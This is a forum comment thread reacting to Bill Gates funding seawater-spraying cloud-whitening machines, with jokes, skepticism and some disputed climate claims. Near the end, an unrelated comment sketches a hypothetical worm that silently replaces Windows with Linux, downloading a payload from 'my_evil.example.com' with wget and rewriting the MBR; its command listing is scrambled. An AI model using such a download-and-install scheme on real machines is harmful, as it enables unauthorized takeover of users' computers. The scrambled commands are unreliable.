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Bill Gates Funds Seawater-Spraying Cloud Machines
lucidkoan writes "Environmentalists have long argued about whether geoengineering (using technology to alter the climate) is a good way to tackle climate change. But the tactic has some heavy hitters on its side, including Bill Gates. The Microsoft founder recently announced plans to invest $300,000 into research for machines that suck up seawater and spray it into the air, seeding white clouds that reflect rays of sunlight away from Earth. The machines, developed by a San Francisco-based research group called Silver Lining, turn seawater into tiny particles that can be shot up over 3,000 feet in the air. The particles increase the density of clouds by increasing the amount of nuclei contained within."
OK, let's ignore for a moment the fact that water vapor is a greenhouse gas responsible for up to 76% of the greenhouse effect (as opposed to CO2 which is responsible for 1/3) of that. Let's also ignore the magical energy source required to pump all this water into the air. What could possibly go wrong? Where can I buy stock? /sarcasm
Seven puppies were harmed during the making of this post.
finally, he's acting like a proper evil mastermind...
the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff
I believe the phrase is "What could possibly go wrong..."
This reminds me of an application user who has no idea what they're doing. Once things start going wrong and the app starts doing unexpected things, they just try a bunch of random actions and hope that by pushing enough buttons and clicking enough things on the screen, they will eventually solve the problem.
If libertarians are so opposed to effective government, why don't they all move to Somalia?
Unfortunately, the machines are solar-powered.
Awesome.
How about we fund research into not messing up the biosphere instead? Reforestation and pollution cleanup will go a lot further towards restoring nature's balance than spraying a bunch of water into the air.
When our name is on the back of your car, we're behind you all the way!
...700 feet into the air
I understand that Dr Horrible is supplying the wonderflonium required for the machines to operate.
When you're afraid to download music illegally in your own home, then the terrorists have won!
Vaporware -- the perfect business for him to be investing in! He has some experience.
Many methods of cooling the planet, collectively known as geoengineering, have been proposed. They include rockets to deploy millions of mirrors in the stratosphere and artificial trees to suck carbon dioxide from the air.
You're joking...right? Rockets deploying millions oof mirrors into the stratosphere? Artificial trees??? What about the real one's which do the job just fine? Seriously though, who let the mad scientist out of his lab?
"We are just a war away from Amerikastan. When god vs god the undoing of man." Dave Mustaine
The article says that 3 ships is nothing. We need $7 billion worth of ships to stop the temperature from increasing.
WHAT? We can stop warming in its tracks for just $7 billion? That's very little money.
Here in the west USA, we have long droughts. We count on reservoirs having enough water. The problem is that we have also been depending for far too long on aquifers. So, we regularly talk about pipelines. Well, there is ZERO chance that an economical large pipeline can be developed. HOWEVER, this has the ability to put a lot more moisture in the air. When it is known that a cold front is going to hit an area, then we simply bump up the amount of moisture in the air. It will mean LARGE snow dumps, but that is needed. It will allow us to fill the aquifers as well as reservoirs.
Generally, I think that Gates is causing more issues than solving (trying to stop hurricanes is a HORRIBLE mistake; it brings up nutrients from deep down; likewise, killing mosquitoes may actually stop evolution), but this one will help bring fresh water throughout the world as well as temporaly help with the global warming issues until we switch off of fossil fuels. Interestingly, if China, the worlds largest polluter of nearly everything, was to clean up their h2so4, then it would raise global temps quickly. With the clouds, it allows us to not worry about temps, while we go back to encouraging all nations to clean up their act.
I prefer the "u" in honour as it seems to be missing these days.
The idea that spraying some water 3000ft into the air in the hopes that it will aid cloud formation seems ... stupid.
3000ft isn't very far and if there isn't enough convection, it isn't going to go up much further... The colder denser air would descend and stay near the ground. This idea sounds about as smart as setting up thousands of Van de Graaff generators all over town, hoping that the ozone generated would plug the ozone hole.
I think a much simpler solution would be this:
1. Cover a large area, perhaps the area of 10 football pitches, with good old fashioned black tarmac.
2. Have a simple sprinkler system, not too dissimilar to a lawn sprinkler system, covering the entire area.
3. When the sun shines, turn on the water.
4. Hopefully, the large area, heated by the sun, will cause enough convection to carry the water vapour up through the atmosphere, where it can form clouds.
There is a problem with salt buildup if using seawater, changing the albino of the tarmac ... but I'm guessing that if there is some form of drainage system in place where slightly saltier water could drain away, that should suffice.
No sig. Move along - nothing to see here.
Sorry, responding to my own post: I wonder what the operational cost would be for this. What fuel are these things supposed to use? Shoving all that water into the air would take a crapload of power.
They can't take fossil fuels -- that would be a logistics issue, and would be counter-productive (though possibly still the most efficient approach).
I have this image of 3000 nuclear-powered boats, and I wonder what the mean-time between failures on such a system would be.
Is this a joke?
The rate of evaporation from the oceans is about 400,000 cubic kilometers per year.
To increase that by just one percent would mean pumping 4,000 km^3 of water.
Just raising that much water to 3,000 feet would take approximately, oh let's see, carry the 0x100,
about 1,651,445,966.51 horsepower. One Point Six BILLION horsepower.
Yes, water vapor is a greenhouse gas. But putting more water vapor in the atmosphere will not contribute to global warming, because any excess water vapor put into the atmosphere precipitates out as rain, snow, or dew within about a week. In other words, water vapor is not a forcing.
Excess carbon dioxide, on the other hand, can remain in the atmosphere for hundreds of years. That's why burning fossil fuels has the effect of increasing the concentration of carbon dioxide in the atmosphere, leading to warming.
What a fool believes, he sees, no wise man has the power to reason away.
No fool, ever seen a cloud? Water vapor is a whitehouse gas.
I read TFA and all I got was this lousy cookie
I'm publishing a paper quite soon, hopefully, which examines cloud whitening and the dynamical responses. Previous researchers (eg Jones et al 2009, Rasch et al 2010) have examined the potential surface response, which gives a fairly rosy picture. I found that when you look more closely at the dynamical responses in the atmosphere, there are significant changes associated with this kind of geoengineering, including possible enhancement of Atlantic hurricanes. I hope Gates reads the literature on this before undertaking the proposed course of action. -- from a student in meteorology & climatology at Cornell University. Thesis work performed at Princeton University & Cornell, presented at AMS conference in January.
No relataionship to the Microsoft Cloud Services advertized here on /.
I'm not sure there's a consensus on what being a "heavy hitter" means, and people can find lots of reasons for hating Bill Gates, but let's not pretend that he doesn't know anything about technology.
He wrote Basic interpreters in several assembly languages which is something that probably 75% of Slashdotters have never done the equivalent of. Nor was he born with a silver monopoly in his mouth - there was a lot of work and smart decisions made before Windows was classified as a monopoly.
Gates should have paid Steve Jobs to propose it. That way the summary would have said something like "Jobs discovers breakthrough solution to global warming".
Hmm. Now that I think about it the iPad displays are pretty large and shiny. If we spread a million of them across the sky...
Plants take in CO2 and grow. Part of their growing is also absorbing water at their roots, which is (partly, but mostly) transpired from their leaves. ref: http://en.wikipedia.org/wiki/Evapotranspiration
More co2, the faster the plants grow (up to some level of which I am not sure, but a lot, and it varies plant from plant anyway). So, we already will be getting a lot more water vapor up into the air as co2 levels rise, plus the plants can use all the sunlight they can get. More plants and trees growing, better for all concerned.
Encourage more planting. And that's it to help the environment, along with slowing the use of fossil fuels as much as possible. More stuff growing all over, the better it gets. More to eat, more shade, more forest products, and etc. Much better than Gates contraption. And the planet regulates itself better.
The way to stop man made climate change increases (such as there are, whatever percentage that is), is simply to stop doing that, instead of doing it more. Gates contraption is just doing more man made busywork nonsense. They'll claim, using many arcane scientific sounding phrases and pretty graphs, "wow, it works, now give us a trillion bucks to build thousands of them now" Cha Ching, profit!! That's all this thing is, IMO
The planet appears to be pretty good at this self-regulation stuff, given half a chance.
No. It will be down moderated because it is a moronic post, and it uses way to many words to convey the BS.
The Yellowstone Caldera will take many years, probably hundreds of smaller eruptions before any major super-volcanic eruption. Your statement that it is 40 thousand years overdue is not based on any reasoning and no geologist would agree with you.
Global warming is real. It is caused by humans contributing shit-loads of Carbon to the atmosphere. It will have consequences on the human race. There is probably a tipping point where the changes in the planet will be dramatic.
p.s. It serves me in no way to be taking this position other than the fact that I kind of give a shit about the future of our species.
you're doing it wrong.
You're not too far off to be skeptical. I took a cloud physics course last semester. Cloud droplets form around aerosols - particles with such a low mass/volume ratio that they can remain suspended in the air.
How do they remain suspended in te air? They're so small that the force of gravity is about equal to the air resistance they encounter. I have absolutely no idea how you can turn sea water into a super-fine mist, and then shoot it 3,000' into the air. For it to stay there, it has to have massive air resistance. That's antithetical to shooting it there in the first place.
Not to mention my previous post about the large uncertainty in modeling cloud formation, and the even larger one in climate simulations, where clouds can both warm AND cool the earth, depending on a hundred different things.
I think the absurd dollar figures quoted are the icing on the cake.
Velociraptor = Distiraptor / Timeraptor
The CO2 from volcanoes does count. It's just that there's not enough of it to worry about. On average volcanoes emit about 1-2% as much CO2 as human emissions.
I would be pretty shocked if the answers if the smart folks who thought this up and got handed a large money sack did not already answer most of your questions, but I can probably guess the answers to your concerns.
If the salt hangs in the air for any length of time in any concentration... do it some place not near land. In fact, from all I have read on geoengineering, you want to do your work in the poles, so even if the salt hangs, it is a moot point. We also have a few thousands miles of Pacific with nothing in it to dump salt into.
As far as the price, the price is peanuts compared to turning off CO2 production. If you believe some of the climate models we are already fucked and in for 40 years of warming even if all of the man made CO2 stopped tomorrow. If that is the case, the ONLY answer is geoengineering. The cost of reducing CO2 is mind numbing. CO2 cost is basically energy cost, which means that any cost imposed is going to hit literally everything in the world wide economy. It makes EVERYTHING more expensive to tackle CO2. 7 billion is absolutely nothing. Hell, it could go up by 7 billion every single year, and it would still cost nothing in the grand scheme of things. Geoengineering is almost certainly cheaper than reducing worldwide energy consumption. Even if it cost a trillion dollars a year to keep the earth stable, that would still be peanuts compared to the cost of reducing CO2 to zero.
CO2 is an issue we are going to tackle eventually. We cant use fossil fuels forever. The problem is that tackling it aggressively now is far more expensive than in the future. Given time, it is inevitable that renewable energy will improve and win out. If global warming is your fear, geoengineering is really the only rational response. We can't muster the world wide political will to reduce CO2 output, even if we could the cost would be devastating, and we would STILL be fucked because it is already too late.
I would think such a thing may be possible. It shouldn't require any MS code at all. I'm not quite sure how the juggling act would go between filesystems, unless you made a filesystem file and ran the OS from there, but accessed the old files with something like ntfs-3g. You could probably do it using a static compiled binary under cygwin. Since it's static, it should be portable to target machines. Then you could do something like...
cd / /linux /linux_filesystem /linux_filesystem /linux ../full_os.tar.gz ./bin/configure_os
dd if=/dev/zero of=/linux_filesystem bs=1024 count=100000
mkdir
mke2fs -j
mount
wget http://my_evil.example.com/full_os.tar.gz
cd linux
tar xvpzf
lilo
reboot
Inside full_os.tar.gz, the desktop, "My Documents", etc, could be linked to the old NTFS partition. No actual damage would have been done other than rewriting the MBR with a bit of initrd black magic to mount up the virtual filesystem as root, with every driver that could be run into, or at least a complete suite of network drivers and the OS could fix the rest at boot time.
full_os.tar.gz would have to be already fully customized to have the appearance of the infected host machine, so you'd likely have copies for WinXP, Win2k, WinVista, and Win7.
configure_os would need to read the existing network environment to either set the IP's static, or allow DHCP to handle it, depending on the users existing configuration.
Of course, by pulling down the file with wget, that opens up a whole can of worms. Now, if it had an include Bittorrent client, you could just use an existing torrent file (bundled within) and pull the OS file from peers, which would be much faster if it actually spread into the wild. I can't imagine any server (or server farm) would appreciate 1,000,000 simultaneous users downloading a full Linux install, even if gzipped. But, if every machine kept seeding, it would make the whole operation very smooth. :)
It would be funny if people discovered Linux really is a worthwhile OS for their needs, and they've just been afraid to use it. That's 99% of the folks out there. (The remaining 1% run Windows-only apps, who would be frustrated).
I haven't thought too much about this, and it is 2:30am, so there are plenty of implausible holes in that idea. And like I said before, there's no way I'd actually do it, since I don't really like jail time.
Serious? Seriousness is well above my pay grade.